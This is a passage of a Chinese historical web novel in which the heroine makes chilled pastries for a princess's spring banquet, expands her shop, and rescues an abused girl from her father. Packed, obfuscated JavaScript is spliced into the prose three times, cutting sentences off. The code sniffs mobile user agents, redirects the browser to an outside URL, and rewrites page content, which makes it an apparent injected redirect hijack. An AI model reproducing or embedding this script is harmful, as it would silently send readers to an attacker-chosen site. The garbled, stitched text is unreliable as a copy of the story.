良久，公主才缓缓开口：“你，便是引珠赞不绝口的那位裴东家？” 17. 公主欢心 公主发话，裴清梧不敢耽搁，忙回道：“回禀公主，正是奴家。” “通身的气度倒不错，听闻你昔日闹上官府，求脱离婆家而后自立女户，倒是个不凡的。”公主啜饮了一口热茶，勾唇一笑：“李娘子说你点心做的好，这屋中炭火甚旺，燥热难耐，我想吃些清爽下火的点心解解腻，你可有法子？” 裴清梧躬身应道：“回禀公主，奴家这就去办，定不负公主所托。” 这个时代，虽已有点心酥山，类现代的冰淇淋，但太过甜腻，公主所求清爽下火，须得另辟蹊径。 往厨房走的时候，裴清梧脑子转的飞快。 本科入学那年军训，因为第一天就有新生中暑晕倒，所以学校专门做了绿豆汤免费分发，清热解暑，绿豆是经典永不出错，那她可以取绿豆磨粉蒸熟，再拌入薄荷汁与蜂蜜，压制成糕后置于冰窖中镇凉。 绿豆性凉能清热，薄荷添清爽之气，入口即化，消暑解燥。 然后，还能用些，鲜果，如梨、桃、葡萄等，切丁浸入冰镇酪浆①，再调和些蜂蜜，撒少许碎冰。 果丁酸甜多汁，酪浆生津下火，冰镇后更显沁凉。 还有，可以绿豆淀粉调水煮沸，冷却成冻后切块，浇淋薄荷糖水与碎冰，晶莹剔透，滑嫩爽口，专祛炭火之燥。 一番思索后，裴清梧觉着可行，便匆匆退下备办。 心下既定，步履都稳了几分。 灶火升腾，烟气氤氲，裴清梧挽了袖子，所有的事情都是亲力亲为，心思之巧慧，尽数付于指尖。 绿豆细细研磨过筛，放到蒸笼上，蒸腾到熟软绵密，其间取来鲜薄荷捣成汁，调入上好的槐花蜜，与绿豆粉相和，码入模具之中，压得方方正正，即刻遣人送入冰鉴之中镇着。 又取了冰镇酸酪浆，将新摘的脆梨、水蜜桃和葡萄洗净，细细地切成骰子大小，晶莹剔透地浸入酪浆之中，淋上琥珀蜜汁，撒上碎冰屑，盛在琉璃小盏内，红白紫翠，煞是好看。 最后，以绿豆澄粉调水，慢火煮至浓稠，倾入浅盘之中，待其自然冷凝成冰，莹澈如水晶一般后，切成寸许见方小块，另熬了一小釜薄荷甘草糖水，亦镇得冰凉，预备待用时浇淋其上，再撒碎冰。 诸般都准备停当，裴清梧又思及公主所言，说是燥热难耐，灵机一动间，忆起坊间解暑良方，忙命人取了生甘草两钱、清水半升，文火煎得浓汁，滤净后倒进冰雪中激荡，顷刻间，便得一碗澄澈透亮、甘冽沁脾的冰雪甘草饮。 确认过一切妥当后，裴清梧将四样冰食点心分盛于备好的鎏金银碟与琉璃盏内，置于托盘之上，敛首屏息，重入华堂。 堂内炭火依旧烧得暖融，恍然间还会让人觉得，自己是置身盛夏时节，公主倚在软枕上，身边的宫女为其扑着扇子，自己则有一搭没一搭地捻了腕上的珠串子玩，间裴清梧进来，也只懒懒地掀了下眼皮。 裴清梧跪着奉食于公主座前，细禀道：“奴家惶恐，献拙技于殿下。” 公主打量了一眼她手中的玲珑点心，道：“看着倒新奇精巧，一一介绍来吧。” “是。”裴清梧恭敬道：“此乃绿豆薄荷玉蕊糕，取绿豆清新败火，薄荷解郁生凉，冰镇过后，入口即化；此为七宝冰酪浆，以鲜果浸入冰酪，调以蜜汁，酸甜沁爽；此名水晶琼脂冻，澄粉冷凝，覆以薄荷甘草冰露，清润解燥；另有冰雪甘草饮一盏，乃取甘草生津解毒之效，佐以新冰震荡，虽是民间汤饮，斗胆献于公主殿下清口。” 金盘玉盏，翠色莹润，冰气袅袅，衬得点心愈发玲珑可爱，公主目光扫过，神色淡淡，无喜无嗔，纤指执起银匙，先在那七宝冰酪浆中略搅了搅，舀起一勺含了果丁的送入檀口之中，细品片刻，未置一词，又取了一小块水晶琼脂冻，宫女在旁，浇上薄荷糖水碎冰，入口只觉嫩滑冰凉，清甜直透肺腑。 品尝过后，她放下银匙，只轻飘飘一眼，身旁宫女便会意，舀了冰雪甘草饮来，送到朱唇旁，浅浅啜饮一口，只觉滋味如冰洌甘泉，瞬间荡涤喉舌，眉心似微微一丝舒展，旋即又归于平静。 堂上一时落针可闻，唯有冰气丝丝逸散。 裴清梧垂首跪于阶下，面色平静，心却如擂鼓一般，掌心隐隐沁出薄汗来。 公主满意与否，这无声的静默，比任何责难，更令人惴惴不安。 良久，公主拿了帕子，轻轻揩了揩唇角，琉璃盏底磕在紫檀案几上，发出一记极清脆的声音，打破了堂上沉寂，目光落在裴清梧发顶，开口时，声音听不出什么情绪来：“点心尚可，颇解燥郁。” 裴清梧闻言，心头一紧，屏息以待。 “三日后，我将在府中设小宴，款待秦州城内的夫人娘子，席间点心，便看你的了。”说着，公主顿了顿：“莫要教我失了体面。” 此言一出，如拨云见日，裴清梧悬着的心骤然落下。 惊喜与重托之感交织，裴清梧深深叩首，声音带着竭力压抑的激动：“奴家叩谢殿下隆恩！定当竭尽驽钝，精心备办，不敢有负殿下所托！” 公主微微颔首，再无言语，只抬手示意她退下。 裴清梧再拜，方起身，脚步轻捷却又无比郑重地退出了正厅。 离公主远了些后，李引珠一把抓住裴清梧的手，激动万分：“裴东家，我就知道，我就知道你一定能行！” “可要把握住机会啊！以后，我还得靠你赚私房银子呢……你不知道，自从入了你的股，每月分到的银钱，再加上我自己的月例，我可成了姐妹里最有钱的那个……” 李引珠携着裴清梧的手，絮絮叨叨地往外走，裴清梧一直面带微笑听着，快分别的时候，才忍不住问道：“公主可有说，她举办的，是什么宴席吗？” 李引珠道：“说了，公主此番设宴，名曰探春宴，虽则正月里寒气未消，然公主欲效古人之风雅，借立春将至之机，邀城中诸位夫人娘子，于公主府暖阁之中赏玩春意，品评新巧，以慰深冬寂寥，更寓探得春信之吉兆。席间或有梅瓶插供、水仙清供，想来便是要在这严冬炭火中，辟出一方春景融融。” 裴清梧心下了然。 正月立春，万物始苏，公主这宴席，既要显出天潢贵胄的体面奢华，又要点缀出春之将至的生机雅趣，是以点心不仅要精巧新奇、口感清爽，更要契合这探春之意，在色、形、意上呼应春信。 她辞别李引珠，一路归家，心思已全然沉浸在这三日后的大宴之中。 冰窖需加大储冰，食材更要精挑细选，更要构思六样前所未见、足以惊艳全场、又不失古雅的点心。 是夜，裴清梧于灯下铺纸研墨，将烘焙的所知融会贯通，笔下渐渐勾勒出六样点心的轮廓。 既要清爽解腻、契合探春主题，又要新奇独特，中西技法取其精华，食材搭配务求精妙，更要以这个朝代能得的材料，组合出令人耳目一新的滋味。 三日后，公主府邸，暖阁中炭火烧得足，屋内暖如初夏，却不见丝毫闷浊之气，因四角摆放着巨大的冰鉴，丝丝凉气中和了炭暖。 四处点缀着早开的绿萼梅、水仙、金盏银台，春意盎然，受邀的秦州城贵妇淑媛们盛装而至，环佩叮当，脂香鬓影，堂中一张铺设着锦缎的长案，正是裴清梧精心备办的点心席。 六样点心，分盛于贵重的餐具中，错落有致地摆放着，每一件都宛如精雕细琢的艺术品，冰气氤氲，色泽清雅怡人，还未品尝，已觉清凉之意扑面而来。 公主在众星捧月下落座，目光扫过长案，唇角微微向上弯了一下，而后抬手示意，盛装的裴清梧便上前，依次介绍。 “琼英雪萼酥，以澄粉、酥油、乳酪巧妙调和，塑成半开的梅花形状，花瓣薄透如纸，层层叠叠，酥松轻盈，花蕊处以红菜头汁染色的酥粒点缀，恰似点点红蕊，置于冰碎的琉璃盘上，宛如冰雪枝头初绽的寒梅。” “碧涧流冰玉，取绿豆冰沙，制成蜿蜒溪流之形，置于青玉盘中，溪流清澈见底，实为透明的琼脂冻，溪水中沉着用薄荷冻雕成的莹绿苔石，和用糖渍马蹄丁、莲子丁做的卵石，溪流之上，漂浮着几片用薄黄瓜片雕成的浮萍和可食用的三色堇花瓣，最后撒上极细的冰屑，宛如溶雪初融的山涧。” “金雀衔春卷，澄粉皮薄如蝉翼，包裹着住蜂蜜渍过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261364|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榆钱芽儿、春笋丝，和蛋皮细细丝，卷成精致的小卷，一端捏出雀首形状，以黑芝麻点睛，雀喙处叼着一小颗染成金黄色的蜜渍枸杞，宛如金雀叼枝报春。” “七彩春晖酪，取纯净羊乳，调入用不同食材自然染色的七层酪浆：红菜头汁的淡粉、南瓜茸的嫩黄、抹茶粉的浅绿、糯米粉的洁白、紫薯汁的浅紫、柑橘汁的橙黄、蝶豆花汁的淡蓝，层叠于透明琉璃盏中，宛如凝固的朝霞。顶端撒上碾碎的各色果脯，有桃干、杏干、葡萄干、金桔丁等。” “玉盏浮香雪，取鲜嫩的茉莉花，用蜂蜜糖水渍过，使其保持洁白形态与芬芳。取蛋清打发，调入微量珍贵的玫瑰花露，制成蓬松洁白的香雪云，而将渍好的茉莉花朵置于小巧玲珑的白玉盏中。” “玲珑百果春晶冻，用上好的石花菜熬胶质，冷凝成冻体，其中均匀悬浮切成极细小丁的应季鲜果，有梨、苹果、柑橘瓣和珍贵的波斯蜜枣、龙眼肉，冻体之上，点缀一枚用模具塑成的、晶莹剔透的春日露珠。” 六样点心介绍完毕，满堂贵妇皆屏息凝神，目光灼灼，惊艳之色难掩。 此等巧思，此等意趣，此等清雅冰洁之态，莫说秦州，便是长安御膳房，怕也未必能出其右。 点心之美，已不仅是口腹之欲的满足，更是视觉与意境的双重盛宴，完美契合了公主立春探春的雅意。 公主执起银匙，目光在琼英雪萼酥与玉盏浮香雪之间流连片刻，最终轻轻舀起一勺香雪云，优雅送入檀口。 堂中寂静，只余冰气丝丝作响，炭火哔剥轻吟。 “冰凉绵密，更有玫瑰的馥郁芬芳，轻盈如雪，芬芳满口，回味悠长……正是‘春雪消融，暗香浮动’。” 闻言，裴清梧放下心来。 她已竭尽所能，成败与否，尽在公主唇齿间这一瞬的滋味流转。 而今公主说好，便是真的好。 “殿下谬赞，奴家惶恐。” 公主赞语过后，侍立的女官立刻宣道：“殿下有赏，诸位夫人娘子请自便。” 早已被那六样精妙绝伦、前所未见的冰点勾得心痒难耐的宾客们，闻言纷纷执起面前的银匙玉箸。 惊叹与赞誉之声此起彼伏，瞬间盈满了暖阁。 “呀！这琼英雪萼酥当真薄如蝉翼，入口即酥，味道真有梅花傲雪之清韵。” “快看这碧涧流冰玉，溪水清澈见底，苔石青翠欲滴，马蹄莲子做的卵石入口清脆爽滑，这心思可真奇巧。” “这金雀衔春卷，粉皮韧而柔滑，内馅榆钱笋丝鲜嫩清甜，枸杞点睛，活灵活现，妙极妙极啊！” 高门大户的夫人娘子平日里矜持自持，见了不少好东西，此刻却也被这兼具意境与口感的点心所倾倒，交头接耳，赞不绝口。 案上的冰点以肉眼可见的速度消减下去，宫女们立刻手脚麻利地撤下空盏，将早已备好的第二份迅速呈上。 暖阁内炭火融融，冰气氤氲，花香暗浮，再配上这满堂的珠光宝气、欢声笑语，果真营造出一派寒冬里难得的融融春意。 公主端坐主位，看着眼前的热闹景象，连日筹划的探春宴比她预想中更为完美，眼角眉梢都染上了真正的愉悦与快慰。 “好，好，好！”望着侍立的裴清梧，公主连道了三声好，声音清越，带着由衷的满意：“今日探春宴，得此佳点，方不负这番热闹，裴东家心思奇巧，匠心独具，此六样冰食，将春意点染得活色生香。” 公主顿了顿，环视满堂宾客，朗声道：“如此巧思，当得起笔墨。” 她身侧随侍的女官早已心领神会，立刻捧上早已备好的笔墨纸砚，在公主面前的紫檀小案上迅速铺开一张雪浪笺，研好香墨。 公主拈起一支紫毫小笔，略一沉吟，随即笔走龙蛇，在笺上挥洒开来。 顷刻间，一首七言绝句便已写成。 一片寂静，所有人的目光都聚焦在那张小小的纸笺上。 女官小心翼翼地捧起诗笺，声音清亮地诵读道。 “玉案凝霜点翠茵，丹青难画此冰神。 东风暗度清梧苑，始信人间有凤麟。” 18. 圆满复出 公主财大气粗，觉着满意，自然不会只赏一首诗的。 只见她写完之后，又是只以眼神示意了一下身边的宫女，那宫女即刻上前，从一旁的小玉匣子抓了把金瓜子，托在帕子里递给裴清梧：“裴东家操办探春宴辛苦，这是我们殿下请东家吃茶。” 裴清梧眼睛都直了。 金瓜子啊！金子啊！一把啊！ 在公主和公主贴身宫女的眼里，竟然只是轻描淡写地“吃茶”，简直如同现代时她在某夕夕上随便下单一条九块九的黑心棉T恤。 不，如果是月末，生活费紧俏的时候，她也舍不得花这九块九。 “奴家，谢公主殿下隆恩！”裴清梧再拜，此时，在她的眼里，寿春公主不再是公主了，是妥妥行走的财神爷。 公主微微一笑，矜持地抬手：“裴东家的点心，我很喜欢，还望裴东家日后得空时，做一些新鲜的送过来。” “自然，谨遵殿下吩咐。” 回去的路上，裴清梧窝在公主派的马车内，将那把金瓜子翻来覆去地看，根本就数不清楚，数了好几次都乱了，索性拈起一粒大些的，放进嘴里一咬—— 哎呦我去，真是金子！ 发财了发财了哈哈哈哈哈…… 裴清梧内心笑得猖狂，狗狗祟祟地把金瓜子装进随身带的荷包，紧紧地贴在心口，像一只终于囤够粮食的小仓鼠。 待马车停稳在酥山小集门口，裴清梧甫一打赏过车夫，就急匆匆往院子里走，银岚正在扫雪，见她激动地走路带风，立刻猜出了一二：“东家，公主的意思是……” “公主很喜欢我们的点心，说了以后经常做给她吃，还有，她还赏了咱们一首诗！”裴清梧喜滋滋地展开怀里的笺纸，这皇家墨宝，马上吸引了其余三人来看。 只见上边墨色流转，公主的字迹清丽绝伦，宛如枝头玉兰初绽，笔锋起落间，既有女子的柔美秀逸，又不失天家的雍容气度，每一笔都恰到好处，似银钩铁画，干净利落，转折处力道含蓄，却处处透着筋骨。 排列更是疏密有致，如珍珠散落玉盘，光华内蕴。 三人里头，也就茜桃是学过书法的，但纵其余二人没有深谙此道，也能瞧出此作不凡，觉得赏心悦目至极。 “阿恒，把这幅字拿出去，找个师傅好好裱起来，然后挂在咱们店最显眼的地方，好叫大家伙都瞧瞧，咱们酥山小集的点心，寿春公主都说好！” 顾恒应下：“是。” 这首诗挂出来，就是最好的招牌，那些关于酥山小集的流言，便不攻自破，店内的生意又开始好了起来。 再说那崔公子虽不满裴清梧给茜桃赎了身，可醉月楼里还有不少姑娘，听了几支曲后，他便茜桃抛之脑后，顾不上来找酥山小集的麻烦了。 有了公主赏的金子，裴清梧去找了牙行的人，不仅彻底将这个院子买下，后头的也盘了下来，一下子宽敞了不少，银岚等可搬去后边住，一人一间房，再不拥挤，前头临街的铺面改大，除了柜台，新添了桌椅，以后就有堂食了。 望着焕然一新的店面，裴清梧斗志昂扬。 这个，就是酥山小集的安业坊总店了，等招牌彻底打出去，手底下有可以出师的徒弟了，就要开分店，这里一家，那里一家，除了秦州，她要开遍陇右道，说不定，还能开到长安去！ 眼见快到正月十五，裴清梧决定趁热打听，做汤圆卖。 元宵吃汤圆，是传统习俗了，然而，汤圆宋朝才出现，习俗是明朝才确立的，就当裴清梧再一次投机了。 说干就干，她立刻忙了起来。 糯米粉买了好些，馅料也定下三种，最经典的黑芝麻糖馅、红豆沙馅、枣泥馅，带着茜桃和银岚揉粉、包馅、搓圆，顾恒在一旁边劈柴，边看一个个雪白团子在簸箩里滚动，忍不住问道：“东家，这又是什么新鲜东西？” 他的东家脑子里，好像有数不清的点子。 “这个啊，叫汤圆，上元夜月满人间，正是团圆的好日子，再吃这圆滚滚的汤圆儿，正是应景的好彩头！” 做好之后，她特意买了红纸来，裁成一模一样的方块，上书“团圆雪球”，而后又竖起招牌，“酥山小集献瑞上元，公主同款‘团圆雪球’，三味奇珍，限量尝鲜！” 她特意没做多，主打一个饥饿营销。 正式售卖当天，裴清梧在店里支起小锅现场煮制，滚水翻腾，雪白的圆子浮浮沉沉，待全都浮起来后，捞入青瓷碗中，再浇一勺金黄的桂花蜜，热气氤氲，甜香四溢。 黑芝麻糖馅流心醇厚，豆沙馅爽口浓郁，枣泥馅绵密清甜，新奇的口感和美好的寓意，加上“公主同款”的金字招牌，顿时引爆了购买热潮。 “给我来一碗黑芝麻的！” “豆沙味的两碗带走！” “哟，这白白胖胖的，真讨喜！” 店门前很快排起了队，银岚等忙得脚不沾地，裴清梧看着不断进账的铜钱，心里乐开了花。 这一场复出的翻身仗，算她打赢了。 卖着汤圆，裴清梧想到了另一件事。 若是生意做大做强，稳定的供货商是必须要有的，不仅中间商没有差价，节省成本，还能保证品控。 在做生意上，银岚和茜桃也算能独当一面了，裴清梧也有意锻炼锻炼她们，便将生意交出去，自己带着顾恒，先去秦州近郊看看几户果农。 种果子是看天吃饭的事，若是老天爷不高兴，一年的收成都没有多少，现下听闻裴清梧愿意出钱收购，没有果农是不愿意的，好赖算保底的收入。 冬日田垄覆着薄雪，寒风凛冽，二人奔波了大半日，总算敲定了满意的合作对象。 回程时，天色已近黄昏，夕阳的余晖给秦州城墙镀上一层暖金色，寒意却愈发刺骨。 裴清梧的肚子咕咕叫了几声，她揉了揉冻得发僵的脸颊，对跟着的顾恒笑道：“阿恒，饿坏了吧？走，东家请你吃顿热乎的，犒劳犒劳咱俩！” 她熟门熟路地拉着顾恒拐进城西一条烟火气十足的窄巷，巷口支着几个热气腾腾的食摊，诱人的香气混合着柴火燃烧的噼啪声，瞬间驱散了寒意。 裴清梧直奔一个冒着滚滚白气的汤饼摊，摊主是位面色红润的老汉，面前的锅中沸水翻腾，他熟练地将扯好的馎饦①投入沸水中，旁边另一口大锅里正咕嘟着奶白色的浓汤，浓郁醇厚的羊肉香气弥漫，勾得人食指大动。 旁边还有几个胡人模样的摊贩，正用铁炙子烤着滋滋作响的羊肋排，油花在火焰上跳跃，焦香四溢。 “老丈，两碗羊肉馎饦！多加些肉！”裴清梧脆生生地喊道，又指了指炙烤摊：“再来两根烤羊肋！” “好嘞，娘子稍等。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264646|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人在小摊低矮的木几旁坐下，很快，热腾腾的羊肉馎饦端上了桌。 宽厚柔韧的面片吸饱了乳白浓郁的羊汤，汤面上浮着酥烂的羊肉、翠绿的胡芹末和金黄的油花，裴清梧迫不及待地拿起木箸，先喝了一口鲜美滚烫的汤。羊脂的香醇混合着花椒微微的麻意和葱姜的辛香，一路暖到胃里，寒气顿消。 羊肉入口即化，毫无膻味，面片筋道弹牙，裹着汤汁，美味无比。 顾恒吃得也很投入，他用随身小刀将烤羊肋排上的肉剔下，那肋排烤得极好，外层焦脆，内里却保留着丰盈的肉汁，带着炭火炙烤的独特焦香，简单的粗盐和芜荽调味，就足以激发出羊肉最本真的鲜美。 最好的肉，他都分给了裴清梧。 裴清梧吃得心满意足，鼻尖都沁出了细汗。 巷子深处传来香甜的焦糖气息，她又循着买了两块刚出锅的巨胜奴②，金黄酥脆，咬一口咔嚓作响，蜂蜜的甜润和胡麻的焦香交织，是完美的餐后甜点。 “呼……这才叫活过来了！” 裴清梧捧着热乎乎的羊汤，一天的疲惫仿佛都融化在这碗温热里：“阿恒，你说咱们汤圆要是配上这羊汤，是啥滋味？” 顾恒正慢慢喝着碗底剩余的羊汤，闻言差点呛住，表情难得地有些一言难尽：“东家，还是别了吧？”那画面太美不敢想。 裴清梧哈哈大笑，裹紧了袄子站起身：“走，回家！明天还得琢磨油渣馅的事儿呢。” 却在此时，一阵撕心裂肺的哭声传来。 裴清梧要系斗篷的手一顿，循声望去，见是一个衣衫褴褛的男人，扯着一个小丫头，一瘸一拐地往前走。 卖羊肉馎饦的老汉一边收拾着碗筷，一边叹道：“定是那孙癞子又赌了不少钱还不起，打算把家里的小丫头卖了……” 显然这一片的人都认识这男人，一边看他，一边指指点点，孙癞子倒浑不在意，逮着人就问：“你要吗？这丫头吃的不算多，买了就尽管往死里使唤。” 见无人搭理他，他又骂自家女儿无用：“没用的贱丫头！卖都卖不出去，再不然，老子只能把你送到醉月楼许表子那里，让她调教调教，接客了，也别忘给你阿爷我银钱。” 那小丫头约摸六七岁的年纪，却是瘦瘦小小，芦柴棒似的，身上的衣服也是破破烂烂，大眼睛里蓄了一汪泪水，却不敢哭出来，只不断地恳求自己那所谓的父亲：“阿爷，您别不要我，我能做活，我给您补衣服煮饭，我给王员外家浆洗衣服，也能拿到钱……您别卖了我，等我再大点，就能找活做，阿爷……” 孙癞子充耳不闻，甚至还粗暴地扯了她一把，嘴里骂骂咧咧。 “唉，也是命苦，当初娘老子只差跪下来求了，那苦命的锦娘就非要嫁这癞子，没个上进心只知道喝酒也就罢了，还染上了赌，已经卖了个女子了，又要卖第二个，我看，过不了多久，锦娘也要被卖了。” “锦娘卖不了，不是刚生了儿子吗？生儿子这癞子也还是这死德行。” “没用，生个金元宝也没用，我怕呐，锦娘哪一天叫这癞子打死了。” 众人议论纷纷，裴清梧听着，气不打一处来——竟是个家暴男！ 刚巧这时，孙癞子不耐烦地举起手，预备抽自己女儿的巴掌，裴清梧再也忍不住，呵斥了一声：“阿恒，给我卸了他的胳膊！” 19. 给你机会 “哎，好嘞。” 顾恒没怎么犹豫，当即抄起桌上的茶盏，随手掷了过去，不偏不倚，正中在孙癞子的头上，哗啦一声响，痛得孙癞子转头骂：“谁？谁多管闲事，老子卖自己闺女……” 没等他说完，顾恒便上前，一把撂倒了他，腰间长刀调转，砸在那张不干不净的嘴上，牙都被磕掉了一颗，痛苦得俯下身子，吐了口血沫子出来。 “将自己的亲生骨肉视为卖钱的商品，我打得就是你！” 顾恒出身青楼，见多了买人卖人的事情，深知被爷娘卖掉的女子，日子有多不易，又见孙癞子不以为耻反以为荣，更恨此等无赖，打的力度更用力了。 从古至今，家暴男都是色厉内荏之徒，只敢对自己家中的弱小妻儿拳打脚踢，真遇到硬茬子，一个比一个老实，孙癞子也不例外，尽管被顾恒揍得满地找牙，却也只能抱着头蜷在地上“哎呦哎呦”地叫，全然没了方才教训女儿时的嚣张气焰。 裴清梧厌恶地瞥了孙癞子一眼，拿了桌上的巨胜奴，起身朝已经被吓得躲到一边的小姑娘走去。 小姑娘见她过来，怯生生地眨了两下眼睛。 “你叫什么名字，多大了？”裴清梧蹲下身，将手里的吃食递了过去，柔声问道。 “我，我叫孙盼儿，十岁……”小姑娘还是很害怕，但心里头明白，裴清梧是好人，嗫嚅着回答。 盼儿…… 裴清梧心头闪过一丝厌恶，是比什么招娣盼娣来娣好听一点，但意思都是一样的，一样的恶臭。 而且，这小姑娘居然已经十岁了，但因为太过瘦小，完全看不出来。 那头，顾恒下手没轻没重，孙癞子躺在地上，已是进气多，出气少了。 “阿恒，可以了，别真给打出好歹来。”裴清梧见好就收，吩咐道。 “是。” 顾恒闻言，冷哼一声，这才收了脚，但依旧狠狠瞪着孙癞子。 裴清梧安抚地拍了拍孙盼儿瘦弱的肩膀，站起身，走到孙癞子跟前，居高临下地看着这个满嘴是血、狼狈不堪的男人：“孙癞子，你方才口口声声卖自己的亲生女儿？真是好大的胆子！” 孙癞子被打得魂飞魄散，对上裴清梧的目光，更是吓得一哆嗦，勉强抬起头，含混不清地告饶：“贵、贵人饶命……小人、小人再也不敢了……” “不敢？”裴清梧唇角勾起讽刺的弧度：“你可知按当朝律零，你这等行径，该当何罪？！” 此话一出，不仅孙癞子愣住了，连周围看热闹的百姓也纷纷屏息倾听。 涉及到律法，可不是闹着玩的。 裴清梧道：“《律疏议·户婚律》有载：‘诸略卖期亲以下卑幼为奴婢者，并同斗殴杀法’，你身为生父，竟欲将亲生女儿孙盼儿视同货物贩卖，此乃‘略卖子孙’之重罪！依律，当处以‘徒一年’之刑，此也只其一！” “其二！”她扫过孙癞子被打掉牙的嘴：“你方才所言所行，分明是意图强行逼迫女儿为人奴婢，此等行为，已构成对亲生子女的殴击，按《律疏议·斗讼律》：‘诸殴伤子孙者，减凡人三等’，你虽未立刻卖出，但其心可诛，其行已彰，罪责难逃！” “其三！你拳脚相加于幼女，逞凶于骨肉，悖逆人伦，藐视国法！如今人证物证俱在，休想抵赖！” 孙癞子听得浑身筛糠，冷汗簌簌地淌。 他不过是个市井无赖，哪里懂得这些深奥律法，只听懂了“徒一年”、“罪责难逃”这些要命的词。 一想到要被关进牢里做苦役，他吓得魂飞天外，顾不得疼痛，连连磕头：“小人知错了！小人混蛋！再也不敢了……” 说着，他竟还想拉扯女儿。 孙盼儿吓得又往后缩了缩。 就在这时，一阵脚步声和金属碰撞声传来。 只见一队穿着皂衣、腰挎横刀的巡街武侯③分开人群走了过来。 为首的小队长显然是听见了动静，沉声问道：“何事喧哗？何人当街斗殴？” 裴清梧上前一步，神色从容，叉手为礼：“这位武侯来得正好，此人名叫孙癞子，性情凶戾，不仅当街意图贩卖亲生女儿孙盼儿，更对幼□□脚相向，方才此人叫嚣卖女之言，多位街坊邻里皆可作证，此等悖逆人伦、触犯国法之行径，令人发指！” 她顿了顿，加重语气：“我等路见不平，出手制止，已将其制服，此人之言行，已触犯律法关于‘略卖子孙’及‘殴击卑幼’之律条，请武侯将其拿下，交由府君明正典刑。” 武侯小队长知她是寿春公主前的红人，赵府君也对她另眼相看，又听涉及贩卖子女这等重罪，脸色立刻凝重起来，更兼环视四周后，听百姓小声附和。 “是啊，我们都听见他说要卖闺女了！” “他还打那可怜孩子呢！” 霎时不再犹豫，挥手命令手下：“将这人犯锁了！” 两名武侯立刻上前，动作麻利地将瘫软如泥孙癞子架了起来，不顾他的连声讨扰，直接用绳索捆住。 小队长转向裴清梧和顾恒，语气客气了几分：“多谢二位仗义相助，制止恶行，还需请二位及这位小姑娘随我们回去，到州府做个见证笔录，也好将此案坐实。” 他又看了一眼怯生生的孙盼儿：“至于这孩子……” 裴清梧温声道：“这孩子是苦主，自然也要同去说明情况，武侯放心，我等定当配合。” 孙盼儿看着被锁走的父亲，小脸上恐惧犹在，下意识地更靠近了裴清梧一些。 顾恒还刀入鞘，冷冷瞥了一眼被拖走的孙癞子，对裴清梧点点头。 裴清梧牵起孙盼儿瘦弱的小手，柔声道：“盼儿别怕，随姐姐去说清楚你阿爷做的事，以后就不用挨打了。” 人群让开道路，武侯押着垂头丧气的孙癞子在前，裴清梧牵着孙盼儿，顾恒护卫在侧，一同向州府方向走去。 孙癞子暂时被收监，裴清梧和顾恒带着孙盼儿去医馆看了大夫。 这次，小姑娘身上的伤不重，但脱下衣服之后，裴清梧还是倒吸了一口冷气——瘦骨嶙峋的身体上，新伤叠着旧伤，青紫交加，在苍白的皮肤上显得尤为刺目，无声地诉说着长年累月的虐待。 帮小姑娘上药的医女也红了眼眶，骂道：“混账东西，自己的亲生女孩儿，也下得去这样的重手！” 裴清梧心疼地摸了摸孙盼儿的头发，柔声询问道：“疼吗？” 孙盼儿摇头：“不疼，习惯了。” 待从医馆出来时，已差不多要宵禁了，裴清梧本想带着顾恒快些赶回去，衣袖却被孙盼儿牵住。 “姐姐，你能，你能不能陪我回去，看看我阿娘……她也被阿爷打了，打得好重好重，我怕……” 望着小姑娘水汪汪的大眼睛，裴清梧实在说不出拒绝的话，点头道：“好，我陪你去。” 七拐八拐，孙家的屋子实在太过隐蔽偏僻，若不是身边有顾恒这么身强力壮的男子陪着，裴清梧还真不敢贸然到这种地方来。 若不是孙盼儿是她救的，且官府查明了她的身份，裴清梧还真的害怕，会不会是人贩子串通的诱饵。 终于，孙盼儿在一扇歪斜欲倒的木门前停下。 那门板布满裂缝，仿佛轻轻一推就会散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274090|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架，推开之后，一股子绝望的霉味扑面而来。 “阿娘……”孙盼儿怯生生地唤了一声，声音细若蚊呐。 门内立刻传来一阵窸窣声，伴随着婴儿微弱的哼唧，借着门外透进来的微弱天光，一个身影踉跄着迎到了门口。 那便是蔡锦娘。 裴清梧只看一眼，心头便是一沉。 蔡锦娘年纪应该不大，但生活的重担和暴力的摧残，已将她折磨得不成人形，她瘦得只剩一把骨头，脸色蜡黄，眼窝深陷，嘴唇干裂毫无血色。最刺目的是她脸上的伤，左额角高高肿起，一大片乌青紫涨，几乎盖住了眼睛；嘴角裂开，凝固着暗红的血痂；脖颈处也隐约可见青紫色的指痕。 她穿着一件洗得发白的粗布衫裙，上头打满了补丁，怀里紧紧抱着一个裹在同样破旧襁褓里的婴儿。 当她的目光越过裴清梧和顾恒，落在女儿身上时，呆滞绝望的眼睛瞬间迸发出光彩来，随即被汹涌的泪水淹没。 